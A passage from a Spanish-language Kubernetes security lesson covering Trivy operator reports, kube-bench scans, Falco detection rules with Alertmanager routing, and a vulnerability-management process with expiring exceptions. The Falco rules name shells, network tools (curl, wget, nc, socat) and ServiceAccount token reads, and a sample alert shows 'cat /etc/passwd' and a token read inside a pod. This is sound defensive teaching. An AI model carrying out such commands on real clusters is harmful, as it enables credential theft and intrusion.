| select(.severity == "CRITICAL")
| "\(.vulnerabilityID) \(.resource) \(.installedVersion) -> \(.fixedVersion)\n \(.title)"'Los otros informes del operador
| Recurso | Qué contiene |
|---|---|
vulnerabilityreports |
Vulnerabilidades de las imágenes |
configauditreports |
Malas configuraciones de los manifiestos |
exposedsecretreports |
Secretos encontrados dentro de las imágenes |
rbacassessmentreports |
Permisos RBAC excesivos |
infraassessmentreports |
Configuración de los componentes del plano de control |
clustercompliancereports |
Cumplimiento de estándares (CIS, NSA) |
Los configauditreports merecen atención porque comprueban cosas de 08-02 y 08-03:
kubectl get configauditreports -n rutas-norte-pro \
-o custom-columns='CARGA:.metadata.name,CRIT:.report.summary.criticalCount,ALTA:.report.summary.highCount'CARGA CRIT ALTA
replicaset-api-reservas-6d4f8b9c7 0 0
statefulset-postgres-reservas 0 1
daemonset-fluent-bit-collector 0 2kubectl get configauditreport -n rutas-norte-pro statefulset-postgres-reservas \
-o json | jq -r '.report.checks[] | select(.severity == "HIGH")
| "\(.checkID): \(.title)\n \(.description)"'KSV014: Root file system is not read-only
An immutable root file system prevents applications from writing to their
local disk.Es exactamente la excepción documentada de 08-02. El operador la detecta correctamente; nuestra tarea es tenerla registrada como excepción consciente, no ignorarla.
Y el clustercompliancereports da la visión de conjunto:
- Evaluación del clúster con kube-bench y los estándares CIS
Los escaneos anteriores miran las cargas. kube-bench mira el clúster: comprueba la configuración de los componentes del plano de control y de los nodos contra el CIS Kubernetes Benchmark, un conjunto de recomendaciones de configuración segura mantenido por el Center for Internet Security.
# k8s/seguridad/kube-bench-job.yaml
apiVersion: batch/v1
kind: Job
metadata:
name: kube-bench-nodos
namespace: rutas-norte-sistema # el namespace privilegiado de 08-03
spec:
template:
spec:
# kube-bench necesita leer la configuración del nodo: por eso va aquí
hostPID: true
restartPolicy: Never
containers:
- name: kube-bench
image: registry.rutasnorte.example/externas/kube-bench:v0.8.0
command: ["kube-bench", "run", "--targets", "node", "--json"]
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities: { drop: ["ALL"] }
volumeMounts:
- { name: var-lib-kubelet, mountPath: /var/lib/kubelet, readOnly: true }
- { name: etc-kubernetes, mountPath: /etc/kubernetes, readOnly: true }
- { name: etc-systemd, mountPath: /etc/systemd, readOnly: true }
volumes:
- name: var-lib-kubelet
hostPath: { path: /var/lib/kubelet }
- name: etc-kubernetes
hostPath: { path: /etc/kubernetes }
- name: etc-systemd
hostPath: { path: /etc/systemd }Nota que este Job usa hostPID y hostPath, que en 08-03 prohibimos en rutas-norte-pro. Por eso va en rutas-norte-sistema, el namespace con perfil privileged. Es un uso legítimo y acotado: solo lee, y está endurecido en todo lo demás.
kubectl apply -f k8s/seguridad/kube-bench-job.yaml
kubectl logs -n rutas-norte-sistema job/kube-bench-nodos | head -40[INFO] 4 Worker Node Security Configuration
[INFO] 4.1 Worker Node Configuration Files
[PASS] 4.1.1 Ensure that the kubelet service file permissions are set to 600 or more restrictive
[PASS] 4.1.2 Ensure that the kubelet service file ownership is set to root:root
[PASS] 4.1.5 Ensure that the --kubeconfig kubelet.conf file permissions are set to 600
[INFO] 4.2 Kubelet
[PASS] 4.2.1 Ensure that the --anonymous-auth argument is set to false
[PASS] 4.2.2 Ensure that the --authorization-mode argument is not set to AlwaysAllow
[FAIL] 4.2.6 Ensure that the --protect-kernel-defaults argument is set to true
[PASS] 4.2.9 Ensure that the --event-qps argument is set to 0 or a level which ensures appropriate event capture
[WARN] 4.2.12 Ensure that the RotateKubeletServerCertificate argument is set to true
== Remediations node ==
4.2.6 If using a Kubelet config file, edit the file to set protectKernelDefaults: true.
If using command line arguments, edit the kubelet service file
/etc/systemd/system/kubelet.service.d/10-kubeadm.conf and set --protect-kernel-defaults=true
== Summary node ==
21 checks PASS
1 checks FAIL
2 checks WARNQué hacer con los hallazgos
Este es el punto donde muchos equipos se pierden: kube-bench devuelve decenas de comprobaciones y no todas son igual de importantes ni todas son aplicables.
| Tipo de hallazgo | Qué hacer |
|---|---|
FAIL en el plano de control |
Prioridad alta. Suelen ser cambios de configuración concretos con remediación documentada |
FAIL en el kubelet |
Prioridad alta. Recuerda de 08-04 la importancia de la configuración del kubelet |
WARN |
Revisar caso por caso; a menudo depende del entorno |
INFO |
Informativo |
| No aplicable en Kubernetes gestionado | Documentar como no aplicable, no ignorar en silencio |
Ese último punto es importante. En EKS, AKS o GKE no tienes acceso al plano de control, así que casi todas las comprobaciones de la sección 1 son inaplicables. Lo correcto no es ignorarlas: es documentar que las gestiona el proveedor y, si la organización lo requiere, pedirle a este su informe de cumplimiento.
Los hallazgos de este ejemplo, resueltos:
| Hallazgo | Acción | Estado |
|---|---|---|
4.2.6 --protect-kernel-defaults |
Añadir a la configuración del kubelet y reiniciar los nodos por tandas | Planificado |
| 4.2.12 Rotación de certificados del kubelet | Activar RotateKubeletServerCertificate |
Planificado |
Y para no depender de ejecuciones manuales, un CronJob semanal cuyo resultado alimente el mismo proceso de gestión que las vulnerabilidades:
apiVersion: batch/v1
kind: CronJob
metadata:
name: kube-bench-semanal
namespace: rutas-norte-sistema
spec:
schedule: "0 5 * * 1" # lunes a las 05:00
jobTemplate:
spec:
template:
spec:
# (misma especificación que el Job anterior)
restartPolicy: Never
containers:
- name: kube-bench
image: registry.rutasnorte.example/externas/kube-bench:v0.8.0
command:
- sh
- -c
- |
kube-bench run --targets node --json > /tmp/resultado.json
fallos=$(jq '[.Controls[].tests[].results[]
| select(.status == "FAIL")] | length' /tmp/resultado.json)
echo "Comprobaciones fallidas: $fallos"
cat /tmp/resultado.json
# Si aumentan respecto a la línea base conocida, salir con error
[ "$fallos" -le 2 ] || exit 1La comparación con una línea base conocida es la clave para que esto sea útil: no alerta de los hallazgos ya conocidos y aceptados, solo de las desviaciones nuevas. Una herramienta que alerta de lo mismo cada semana se acaba silenciando.
- Detección en tiempo de ejecución con Falco
Todo lo anterior es preventivo (impedir) o de configuración (comprobar). Falco es detectivo: observa lo que ocurre de verdad, mientras ocurre.
Qué observa
Falco intercepta las llamadas al sistema que hacen los procesos de los contenedores, usando eBPF o un módulo del kernel. Cada vez que un proceso abre un fichero, ejecuta un binario, crea una conexión o lee un descriptor, Falco lo ve y lo compara con sus reglas.
Esto es lo que le permite detectar cosas que ningún control preventivo puede:
| Control | Cuándo actúa | Qué no ve |
|---|---|---|
| RBAC (08-01) | Peticiones a la API | Nada de lo que pasa dentro del contenedor |
| PSA (08-03) | Creación del pod | Lo que hace el pod después |
| NetworkPolicy (08-04) | Conexiones de red | Actividad local en el contenedor |
| Escaneo (apartado 5) | Antes del despliegue | Lo que ocurre en ejecución |
| Falco | Continuamente, en ejecución | — |
Instalación
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm install falco falcosecurity/falco \
--namespace rutas-norte-sistema \
--set driver.kind=modern_ebpf \
--set falcosidekick.enabled=true \
--set falcosidekick.config.alertmanager.hostport=http://alertmanager.monitorizacion:9093modern_ebpf usa el soporte de eBPF del kernel sin necesidad de compilar un módulo, que es la opción preferida en kernels recientes. Falco corre como DaemonSet en rutas-norte-sistema porque necesita privilegios de nodo: es uno de los casos legítimos del apartado 6 de 08-03.
Reglas para Rutas Norte
# k8s/seguridad/falco-reglas-rutasnorte.yaml
apiVersion: v1
kind: ConfigMap
metadata:
name: falco-reglas-rutasnorte
namespace: rutas-norte-sistema
data:
rutasnorte_reglas.yaml: |
# ============================================================
# Listas y macros reutilizables
# ============================================================
- list: namespaces_produccion
items: [rutas-norte-pro]
- list: binarios_shell
items: [bash, sh, zsh, ash, dash, ksh, csh, fish]
- macro: en_produccion
condition: k8s.ns.name in (namespaces_produccion)
- macro: contenedor
condition: container.id != host
# ============================================================
# Regla 1: shell abierta en un contenedor de producción
# ============================================================
# Nuestras imágenes distroless (08-05) NO tienen shell. Que aparezca
# un proceso de shell en producción significa una de dos cosas:
# a) alguien hizo kubectl exec (debería verse en la auditoría), o
# b) alguien ejecuta código dentro del contenedor.
# Ambas requieren investigación inmediata.
- rule: Shell abierta en contenedor de produccion
desc: >-
Se ha iniciado un proceso de intérprete de órdenes dentro de un
contenedor del namespace de producción. Las imágenes de Rutas Norte
no incluyen shell, por lo que esto no debería ocurrir nunca.
condition: >
spawned_process
and contenedor
and en_produccion
and proc.name in (binarios_shell)
output: >
Shell abierta en produccion
(usuario=%user.name proceso=%proc.cmdline padre=%proc.pname
contenedor=%container.name imagen=%container.image.repository
pod=%k8s.pod.name ns=%k8s.ns.name)
priority: CRITICAL
tags: [rutasnorte, produccion, shell, T1059]
# ============================================================
# Regla 2: escritura en directorios del sistema
# ============================================================
# Todos nuestros contenedores llevan readOnlyRootFilesystem: true
# (08-02), así que esto debería fallar SIEMPRE. Si el intento existe,
# algo está intentando modificar binarios o configuración del sistema.
- rule: Escritura en directorio del sistema
desc: >-
Intento de escritura en un directorio del sistema dentro de un
contenedor. Con readOnlyRootFilesystem el intento fallará, pero
su mera existencia indica actividad anómala.
condition: >
open_write
and contenedor
and en_produccion
and fd.name startswith (/bin, /sbin, /usr/bin, /usr/sbin, /usr/lib,
/lib, /etc, /boot)
and not proc.name in (dpkg, apt, apk, rpm)
output: >
Escritura en directorio del sistema
(fichero=%fd.name proceso=%proc.cmdline usuario=%user.name
pod=%k8s.pod.name ns=%k8s.ns.name imagen=%container.image.repository)
priority: CRITICAL
tags: [rutasnorte, produccion, integridad, T1222]
# ============================================================
# Regla 3: lectura del token de la ServiceAccount
# ============================================================
# En 03-06 pusimos automountServiceAccountToken: false en casi todo.
# Los pocos pods que sí lo montan lo leen a través de su biblioteca
# cliente. Una lectura desde una shell o una utilidad genérica es
# el patrón clásico de reconocimiento tras un compromiso.
- rule: Lectura del token de ServiceAccount por proceso inesperado
desc: >-
Un proceso que no es la aplicación ha leído el token de la
ServiceAccount montado en el pod.
condition: >
open_read
and contenedor
and fd.name contains /var/run/secrets/kubernetes.io/serviceaccount/token
and not proc.name in (node, python3, java, nginx, postgres, redis-server)
output: >
Token de ServiceAccount leido por proceso inesperado
(proceso=%proc.cmdline usuario=%user.name padre=%proc.pname
pod=%k8s.pod.name ns=%k8s.ns.name sa=%k8s.pod.serviceaccount)
priority: CRITICAL
tags: [rutasnorte, credenciales, T1552]
# ============================================================
# Regla 4: conexión saliente inesperada
# ============================================================
# Complementa la NetworkPolicy de 08-04: la política BLOQUEA, Falco
# REGISTRA el intento con el proceso que lo hizo, que es información
# que la política no puede dar.
- rule: Conexion saliente desde componente sin permiso de salida
desc: >-
Un componente que no debe alcanzar internet ha intentado abrir una
conexión saliente. La NetworkPolicy lo bloqueará, pero registramos
qué proceso lo intentó.
condition: >
outbound
and contenedor
and en_produccion
and k8s.pod.label.app in (tienda-web, postgres-reservas, redis-cache,
informes-ocupacion)
and not fd.sip in (cluster_cidr)
and not fd.sport in (53)
output: >
Conexion saliente inesperada
(destino=%fd.sip:%fd.sport proceso=%proc.cmdline
pod=%k8s.pod.name app=%k8s.pod.label.app ns=%k8s.ns.name)
priority: WARNING
tags: [rutasnorte, red, exfiltracion, T1041]
# ============================================================
# Regla 5: herramientas de descarga en producción
# ============================================================
- rule: Herramienta de descarga ejecutada en produccion
desc: >-
Se ha ejecutado curl, wget u otra herramienta de descarga dentro de
un contenedor de producción. Nuestras imágenes no las incluyen.
condition: >
spawned_process
and contenedor
and en_produccion
and proc.name in (curl, wget, nc, ncat, socat, ftp, tftp)
output: >
Herramienta de descarga en produccion
(proceso=%proc.cmdline padre=%proc.pname pod=%k8s.pod.name
imagen=%container.image.repository)
priority: CRITICAL
tags: [rutasnorte, produccion, T1105]
# ============================================================
# Regla 6: modificación de la configuración de contenedores
# ============================================================
- rule: Acceso al socket del entorno de ejecucion
desc: >-
Un proceso ha accedido al socket de containerd o Docker. Como
vimos en 08-02, eso equivale a privilegios de nodo.
condition: >
(open_read or open_write)
and contenedor
and fd.name in (/var/run/docker.sock, /run/containerd/containerd.sock,
/var/run/crio/crio.sock)
output: >
Acceso al socket del entorno de ejecucion
(fichero=%fd.name proceso=%proc.cmdline pod=%k8s.pod.name
ns=%k8s.ns.name)
priority: CRITICAL
tags: [rutasnorte, escape, T1610]Fíjate en el hilo que recorre todas las reglas: cada una se apoya en una decisión de diseño de las lecciones anteriores. La regla de la shell funciona porque usamos imágenes distroless (08-05). La de escritura en el sistema, porque pusimos readOnlyRootFilesystem (08-02). La del token, porque desmontamos los tokens innecesarios (03-06). La de salida, porque restringimos el egreso (08-04).
Un buen conjunto de reglas de detección no es genérico: es el reflejo de lo que tu plataforma debería y no debería hacer. Y por eso mismo, cuanto más estricta es la configuración, más significativa es cada alerta y menos falsos positivos hay.
Ver las alertas
03:47:08.229481022: Critical Shell abierta en produccion (usuario=root
proceso=sh -c "cat /etc/passwd" padre=node contenedor=worker
imagen=registry.rutasnorte.example/rutasnorte/worker-notificaciones
pod=worker-notificaciones-6d4f8b9c7-k9x2 ns=rutas-norte-pro)
03:47:09.884113047: Critical Token de ServiceAccount leido por proceso inesperado
(proceso=cat /var/run/secrets/kubernetes.io/serviceaccount/token usuario=root
padre=sh pod=worker-notificaciones-6d4f8b9c7-k9x2 ns=rutas-norte-pro
sa=worker-notificaciones)Ese es el mismo pod del ejercicio de 08-04, ahora visto desde dentro. Falco nos dice exactamente qué proceso se lanzó y con qué línea de órdenes. Combinado con los flujos de red de Hubble y con los 403 del registro de auditoría, tenemos la reconstrucción completa del incidente desde tres fuentes independientes.
- Integrar las alertas de Falco con Alertmanager
En el módulo 7 montamos Alertmanager con sus rutas, sus silencios y sus canales. Falco debe usar esa infraestructura, no crear una paralela.
Falcosidekick es el componente que reenvía las alertas de Falco a distintos destinos:
# k8s/seguridad/falcosidekick-valores.yaml
falcosidekick:
enabled: true
config:
# Envía a Alertmanager, que ya sabe encaminar (07-04)
alertmanager:
hostport: "http://alertmanager.monitorizacion.svc.cluster.local:9093"
minimumpriority: "warning"
# Etiquetas que permiten encaminar en Alertmanager
customfields: "plataforma:rutas-norte,origen:falco"
extralabels: "equipo:plataforma"
# Métricas para Prometheus: permite cuadros de mando y alertas agregadas
prometheus:
extralabels: "plataforma:rutas-norte"
# Los eventos también van al log centralizado (07-05)
elasticsearch:
hostport: "http://elasticsearch.registro.svc.cluster.local:9200"
index: "falco-seguridad"
minimumpriority: "notice"Y la ruta en Alertmanager:
# k8s/base/monitorizacion/alertmanager-config.yaml (fragmento)
route:
receiver: equipo-plataforma
group_by: [alertname, namespace]
routes:
# Alertas de seguridad críticas: canal dedicado y aviso inmediato
- matchers:
- origen = "falco"
- severity = "critical"
receiver: seguridad-urgente
group_wait: 0s # sin agrupar: se envía al instante
repeat_interval: 15m
continue: true # sigue evaluando: también al canal general
- matchers:
- origen = "falco"
receiver: seguridad-general
group_interval: 5m
receivers:
- name: seguridad-urgente
webhook_configs:
- url: https://avisos.rutasnorte.example/guardia-seguridad
# Además de la guardia, al canal del equipo
# (configuración del canal según la herramienta de la organización)
- name: seguridad-general
webhook_configs:
- url: https://avisos.rutasnorte.example/canal-seguridadDetalles de la configuración que importan:
group_wait: 0spara las críticas: durante un incidente en curso, agrupar durante 30 segundos es tiempo perdido.continue: true: la alerta se envía a la guardia y al canal del equipo, para que quede constancia visible.- Elasticsearch además de Alertmanager: las alertas quedan buscables junto con los logs del módulo 7, lo que permite correlacionar durante la investigación.
Y una regla agregada en Prometheus, para detectar patrones que una alerta individual no captura:
apiVersion: monitoring.coreos.com/v1
kind: PrometheusRule
metadata:
name: alertas-falco
namespace: monitorizacion
spec:
groups:
- name: seguridad-tiempo-ejecucion
rules:
- alert: RafagaDeAlertasDeSeguridad
expr: |
sum by (k8s_ns_name, k8s_pod_name) (
rate(falco_events{priority=~"Critical|Error"}[5m])
) > 0.1
for: 2m
labels:
severity: critical
equipo: plataforma
origen: falco-agregado
annotations:
summary: >-
Ráfaga de eventos de seguridad en {{ $labels.k8s_pod_name }}
description: >-
El pod {{ $labels.k8s_ns_name }}/{{ $labels.k8s_pod_name }} está
generando eventos críticos de Falco de forma sostenida. Un evento
aislado puede ser una operación legítima; una ráfaga indica
actividad anómala en curso.
Procedimiento de contención: aislar el pod cambiando su etiqueta
app y aplicar la NetworkPolicy de cuarentena.
runbook_url: https://wiki.rutasnorte.example/runbooks/incidente-falco
- alert: FalcoNoEstaFuncionando
expr: |
count(kube_daemonset_status_number_ready{daemonset="falco"}) == 0
or
kube_daemonset_status_number_ready{daemonset="falco"}
< kube_daemonset_status_desired_number_scheduled{daemonset="falco"}
for: 10m
labels:
severity: critical
equipo: plataforma
annotations:
summary: "Falco no está corriendo en todos los nodos"
description: >-
Sin Falco en un nodo, la actividad de sus contenedores no se
observa. Un atacante podría desactivarlo deliberadamente.Esa segunda alerta es tan importante como las primeras y se olvida constantemente: hay que vigilar que el vigilante funcione. Un sistema de detección apagado no genera alertas, y la ausencia de alertas se confunde muy fácilmente con la ausencia de problemas.
Reducir el ruido
Falco recién instalado genera muchos falsos positivos. El proceso es el mismo que hemos seguido con el PSA y el WAF:
- Desplegar y observar durante una o dos semanas sin encaminar alertas a nadie.
- Identificar los patrones legítimos que disparan reglas.
- Añadir excepciones específicas (no desactivar la regla entera).
- Solo entonces, encaminar a la guardia.
# Ejemplo de excepción bien acotada
- rule: Shell abierta en contenedor de produccion
append: true
exceptions:
- name: sondas_del_recolector_de_logs
fields: [k8s.pod.label.app, proc.pname]
comps: [=, =]
values:
- [fluent-bit, tini]Una excepción por etiqueta de aplicación y proceso padre es específica. Desactivar la regla en todo un namespace no lo es. La diferencia decide si la herramienta sirve de algo dentro de seis meses.
- Gestión de vulnerabilidades como proceso
Aquí llegamos a lo que de verdad falta en la mayoría de equipos. Tener herramientas que encuentran vulnerabilidades es la parte fácil. Lo difícil es hacer algo con ellas de forma sostenida.
El patrón de fracaso es siempre el mismo: se instala un escáner, arroja 340 hallazgos, nadie sabe por dónde empezar, se decide "lo miramos la semana que viene", y seis meses después son 780 y nadie los mira.
Los cinco elementos del proceso
flowchart LR
A["1. Inventario<br/>¿qué tengo?"] --> B["2. Priorización<br/>¿qué importa?"]
B --> C["3. Plazos<br/>¿para cuándo?"]
C --> D["4. Responsable<br/>¿quién?"]
D --> E["5. Excepciones<br/>¿qué no arreglo<br/>y hasta cuándo?"]
E --> A
- Inventario
No puedes gestionar lo que no conoces. El inventario responde a: qué imágenes están corriendo, con qué digest, qué contienen, y desde cuándo.
Ya tenemos las piezas de 08-05: el registro propio, los digests y los SBOM. Solo hay que juntarlas:
#!/usr/bin/env bash
# seguridad/inventario.sh — inventario de lo que corre en producción
kubectl get pods -n rutas-norte-pro -o json | jq -r '
.items[]
| .metadata.labels.app as $app
| .status.containerStatuses[]?
| "\($app)\t\(.name)\t\(.imageID)"' | sort -uapi-reservas api registry.rutasnorte.example/rutasnorte/api-reservas@sha256:9f2c1d4e...
api-reservas embajador-pagos registry.rutasnorte.example/rutasnorte/embajador-pagos@sha256:3c8e1f5a...
postgres-reservas exportador-metricas registry.rutasnorte.example/externas/postgres-exporter@sha256:1b4e7a2c...
postgres-reservas postgres registry.rutasnorte.example/externas/postgres@sha256:2a7f4c8d...
redis-cache redis registry.rutasnorte.example/externas/redis@sha256:6d1a3f9b...
tienda-web nginx registry.rutasnorte.example/externas/nginx-unprivileged@sha256:7d3b2f8e...
worker-notificaciones adaptador-logs registry.rutasnorte.example/rutasnorte/adaptador-logs@sha256:4f2c9e1d...
worker-notificaciones worker registry.rutasnorte.example/rutasnorte/worker-notificaciones@sha256:5e8a1b7c...Ocho imágenes. Un inventario que cabe en una pantalla es un inventario que se puede gestionar.
- Priorización realista
Este es el apartado más importante y el peor entendido.
No todo CVE crítico es urgente. La severidad de un CVE (el CVSS) mide la gravedad en abstracto, sin conocer tu entorno. Un CVSS 9.8 en un componente que no está presente en tu ruta de ejecución, o que no procesa entrada externa, es menos urgente que un CVSS 6.5 en la biblioteca que interpreta las peticiones HTTP de
api-reservas.
Los factores que hay que combinar:
| Factor | Pregunta | Peso |
|---|---|---|
| Severidad (CVSS) | ¿Cómo de grave es en abstracto? | Punto de partida |
| ¿Hay corrección? | ¿Puedo actualizar hoy? | Alto: sin corrección no hay acción |
| ¿Se explota activamente? | ¿Está en el catálogo KEV de vulnerabilidades explotadas? | Muy alto |
| Exposición | ¿El componente atiende peticiones de internet? | Muy alto |
| Ruta de ejecución | ¿Se usa realmente el código vulnerable? | Alto |
| Datos afectados | ¿Da acceso a datos personales? | Muy alto |
| Compensaciones | ¿Hay controles que lo mitigan? | Medio |
Aplicado a Rutas Norte con dos hallazgos reales:
CVE-2026-12033 (jsonwebtoken) |
CVE-2026-11042 (libssl3) |
|
|---|---|---|
| Severidad | CRITICAL (9.1) | HIGH (7.5) |
| ¿Corrección? | Sí: 9.0.3 | Sí: 3.0.15-1 |
| ¿En KEV? | No | No |
| Componente | api-reservas, expuesto a internet |
api-reservas |
| ¿Se usa la ruta? | Sí: valida los tokens de sesión de cada petición | No: la ruta afectada es la de renegociación TLS, que no usamos |
| ¿Datos personales? | Sí: la sesión da acceso a las reservas del cliente | Indirectamente |
| Compensaciones | Ninguna | El TLS lo termina el Ingress (04-05), no la aplicación |
| Prioridad | P1: corregir en 24 h | P3: en el ciclo normal |
Las dos tienen corrección. Una es crítica y la otra alta. Pero la primera afecta directamente a la validación de sesiones de una API pública que da acceso a datos de clientes, y la segunda está en una ruta de código que ni siquiera se ejecuta. Tratarlas igual sería un error de gestión en las dos direcciones: retrasaría la urgente y forzaría prisa innecesaria en la otra.
Herramientas que ayudan a esta priorización:
| Fuente | Qué aporta |
|---|---|
| KEV (catálogo de vulnerabilidades explotadas conocidas) | Lista de CVE con explotación confirmada. Si está aquí, es P1 |
| EPSS (sistema de puntuación de probabilidad de explotación) | Probabilidad de que se explote en los próximos 30 días |
| VEX (intercambio de explotabilidad) | Declaración del fabricante sobre si su producto está realmente afectado |
| SBOM propio (08-05) | Si el componente está o no en la ruta de ejecución |
# Trivy puede incorporar EPSS y KEV en el informe
trivy image --scanners vuln \
--vex repo \
--severity CRITICAL,HIGH \
registry.rutasnorte.example/rutasnorte/api-reservas:2.7.1
- Plazos por severidad
Sin plazos, "lo arreglamos cuando podamos" significa nunca. La tabla de Rutas Norte:
| Prioridad | Criterio | Plazo de corrección | Escalado si se incumple |
|---|---|---|---|
| P1 | Crítica explotable en componente expuesto, o presente en KEV | 24 horas | Dirección técnica de inmediato |
| P2 | Crítica o alta con corrección, en componente expuesto | 7 días | Responsable de plataforma a los 7 días |
| P3 | Alta con corrección, componente no expuesto | 30 días | Revisión mensual |
| P4 | Media | 90 días | Ciclo normal de actualización |
| P5 | Baja, o sin corrección disponible | Siguiente reconstrucción programada | Revisión trimestral |
Estos plazos se cuentan desde la detección, no desde la publicación del CVE. Y hay una consecuencia operativa que hay que asumir: cumplir 24 horas para un P1 exige que el proceso de reconstrucción, escaneo, firma y despliegue funcione en menos de eso. Es exactamente el argumento de 08-05 sobre reconstruir semanalmente: un procedimiento que se ejecuta a menudo es un procedimiento que responde cuando hace falta.
- Responsable asignado
| Ámbito | Responsable |
|---|---|
| Dependencias de la aplicación (npm, PyPI) | El equipo que mantiene el componente |
| Imágenes base | Plataforma |
Imágenes públicas replicadas (externas/) |
Plataforma |
| Configuración del clúster (hallazgos de kube-bench) | Plataforma |
| Decisión sobre excepciones | Plataforma + seguridad |
| Excepciones que afectan a datos personales | + responsable de cumplimiento |
Sin un nombre, cada hallazgo es responsabilidad de todos, que es la forma más eficaz de que no lo sea de nadie.
- Excepciones documentadas con fecha de caducidad
Habrá vulnerabilidades que no se puedan corregir a tiempo. Eso es normal y aceptable si se gestiona.
# seguridad/excepciones-vulnerabilidades.yaml
# Registro de excepciones vigentes. Revisión mensual.
# Una excepción caducada bloquea la construcción hasta que se renueva o se corrige.
excepciones:
- cve: CVE-2025-98004
componente: zlib1g
imagenes: ["rutasnorte/api-reservas", "rutasnorte/worker-notificaciones"]
severidad: LOW
motivo: >-
Sin corrección disponible del mantenedor. La ruta de código afectada
(descompresión de flujos gzip malformados) no se ejecuta: la aplicación
no descomprime contenido de origen externo.
mitigacion: >-
El Ingress rechaza cuerpos comprimidos superiores a 2 MB (08-04).
aprobada_por: seguridad
responsable: plataforma
fecha_aprobacion: 2026-08-01
fecha_caducidad: 2026-10-01 # OBLIGATORIA
revision: mensual
- cve: CVE-2026-10877
componente: libc6
imagenes: ["rutasnorte/api-reservas"]
severidad: MEDIUM
motivo: >-
La corrección requiere subir la imagen base a Debian 13, que rompe la
compatibilidad de una dependencia nativa. Migración planificada.
mitigacion: >-
El componente corre sin root, con capacidades eliminadas y sistema de
ficheros de solo lectura (08-02).
aprobada_por: seguridad
responsable: equipo-api
fecha_aprobacion: 2026-07-15
fecha_caducidad: 2026-09-15
tarea: PLAT-1847
revision: quincenalY la comprobación automática que da sentido a la fecha de caducidad:
#!/usr/bin/env bash
# ci/verificar-excepciones.sh
# Falla si hay excepciones caducadas. Se ejecuta en cada construcción.
set -euo pipefail
HOY=$(date -u +%Y-%m-%d)
caducadas=0
while read -r cve caducidad responsable; do
if [[ "$caducidad" < "$HOY" ]]; then
echo "CADUCADA: $cve (venció el $caducidad, responsable: $responsable)"
caducadas=$((caducadas + 1))
fi
done < <(yq -r '.excepciones[] | "\(.cve) \(.fecha_caducidad) \(.responsable)"' \
seguridad/excepciones-vulnerabilidades.yaml)
if [[ "$caducadas" -gt 0 ]]; then
echo
echo "Hay $caducadas excepciones caducadas. Corrige la vulnerabilidad o"
echo "renueva la excepción con aprobación de seguridad antes de continuar."
exit 1
fi
echo "Todas las excepciones vigentes."Esto es lo que convierte una excepción en una decisión gestionada en lugar de en un olvido permanente. Sin fecha de caducidad, .trivyignore se convierte en el cementerio donde van a morir las vulnerabilidades que nadie quiso mirar.
El ritmo del proceso
| Frecuencia | Actividad | Quién |
|---|---|---|
| Cada construcción | Escaneo con umbral; comprobación de excepciones caducadas | Automático |
| Diaria | Informe de auditoría; revisión de alertas de Falco | Plataforma (15 min) |
| Semanal | Escaneo del registro y de lo que corre; kube-bench | Automático + revisión |
| Semanal | Reconstrucción programada de todas las imágenes (08-05) | Automático |
| Quincenal | Repaso de hallazgos P2 y P3 abiertos | Plataforma |
| Mensual | Revisión de excepciones próximas a caducar | Plataforma + seguridad |
| Trimestral | Revisión de RBAC (08-01), políticas de red (08-04) y excepciones | Plataforma + seguridad |
| Trimestral | Revisión de accesos a datos personales | + cumplimiento |
| Anual | Revisión completa del diseño de seguridad | Dirección + seguridad externa |
- Evidencias y auditorías de cumplimiento
Cuando llega una auditoría —de una certificación, de un cliente corporativo o de una autoridad de control— no basta con decir "sí, tenemos controles". Hay que demostrarlo con evidencias.
Qué piden las auditorías y de dónde sale
| Pregunta del auditor | Evidencia | Origen |
|---|---|---|
| ¿Quién puede acceder a los datos personales? | Salida de kubectl auth can-i por grupo, fechada |
08-01 |
| ¿Quién accedió realmente en el último trimestre? | Consulta del registro de auditoría sobre Secrets | Esta lección |
| ¿Cómo garantizáis que solo se ejecuta software aprobado? | Políticas de admisión + verificación de firmas | 08-03, 08-05 |
| ¿Cómo detectáis actividad anómala? | Reglas de Falco + alertas de Hubble | Esta lección, 08-04 |
| ¿Cuál es vuestro proceso de gestión de vulnerabilidades? | Documento del proceso + registro de excepciones | Esta lección |
| ¿Cuánto tardáis en corregir una vulnerabilidad crítica? | Historial de plazos reales frente a los comprometidos | Registro de tareas |
| ¿Está cifrado el almacenamiento de datos personales? | Configuración de la StorageClass + cifrado de etcd | 05-04, 08-04 |
| ¿Cómo se protege la copia de seguridad? | Configuración de Velero + cifrado | 05-06 |
| ¿Se revisan los permisos periódicamente? | Actas de las revisiones trimestrales | 08-01 |
Qué evidencias conservar y cuánto
| Evidencia | Retención sugerida | Motivo |
|---|---|---|
| Registro de auditoría del apiserver | 90 días en caliente, 1 año en frío | Investigación de incidentes; muchos se detectan meses después |
| Alertas de Falco | 1 año | Correlación en investigaciones |
| Informes de escaneo de imágenes | 1 año | Demostrar el estado en un momento dado |
| Informes de kube-bench | 1 año | Evolución del cumplimiento |
| Registro de excepciones (histórico) | Permanente | Demostrar que las decisiones fueron conscientes |
| Actas de revisión trimestral | 3 años | Demostrar la periodicidad del proceso |
| Firmas y atestaciones de imágenes | Mientras la imagen esté desplegada + 1 año | Trazabilidad de qué se ejecutó |
Consideración de protección de datos sobre el propio registro de auditoría. El log de auditoría contiene nombres de usuario, direcciones IP y marcas temporales: son datos personales de los empleados. Su tratamiento necesita su propia base legal, su plazo de conservación definido y su control de acceso. No es un fichero técnico neutro. El plazo de retención debe fijarlo el responsable de cumplimiento, equilibrando la necesidad de investigación con el principio de minimización.
Y una recomendación práctica: automatiza la generación de evidencias. Un informe trimestral que se genera solo, con fecha y firma, vale más que un documento que alguien escribe a mano la semana antes de la auditoría.
#!/usr/bin/env bash
# seguridad/generar-evidencias-trimestrales.sh
TRIMESTRE=$(date +%Y-Q%q 2>/dev/null || date +%Y-%m)
DIR="evidencias/$TRIMESTRE"
mkdir -p "$DIR"
echo "Generando evidencias para $TRIMESTRE..."
# 1. Quién puede acceder a Secrets de producción
{
echo "# Permisos sobre Secrets en rutas-norte-pro — $(date -u)"
for grupo in desarrollo plataforma soporte analitica; do
for verbo in get list watch; do
printf "%-12s %-6s %s\n" "$grupo" "$verbo" \
"$(kubectl auth can-i "$verbo" secrets --as-group "$grupo" --as auditor -n rutas-norte-pro)"
done
done
} > "$DIR/permisos-secretos.txt"
# 2. Accesos reales registrados
jq -r 'select(.objectRef.resource == "secrets" and .objectRef.namespace == "rutas-norte-pro")
| "\(.stageTimestamp) \(.user.username) \(.verb) \(.objectRef.name // "TODOS") \(.responseStatus.code)"' \
/var/log/kubernetes/auditoria.log > "$DIR/accesos-secretos.txt"
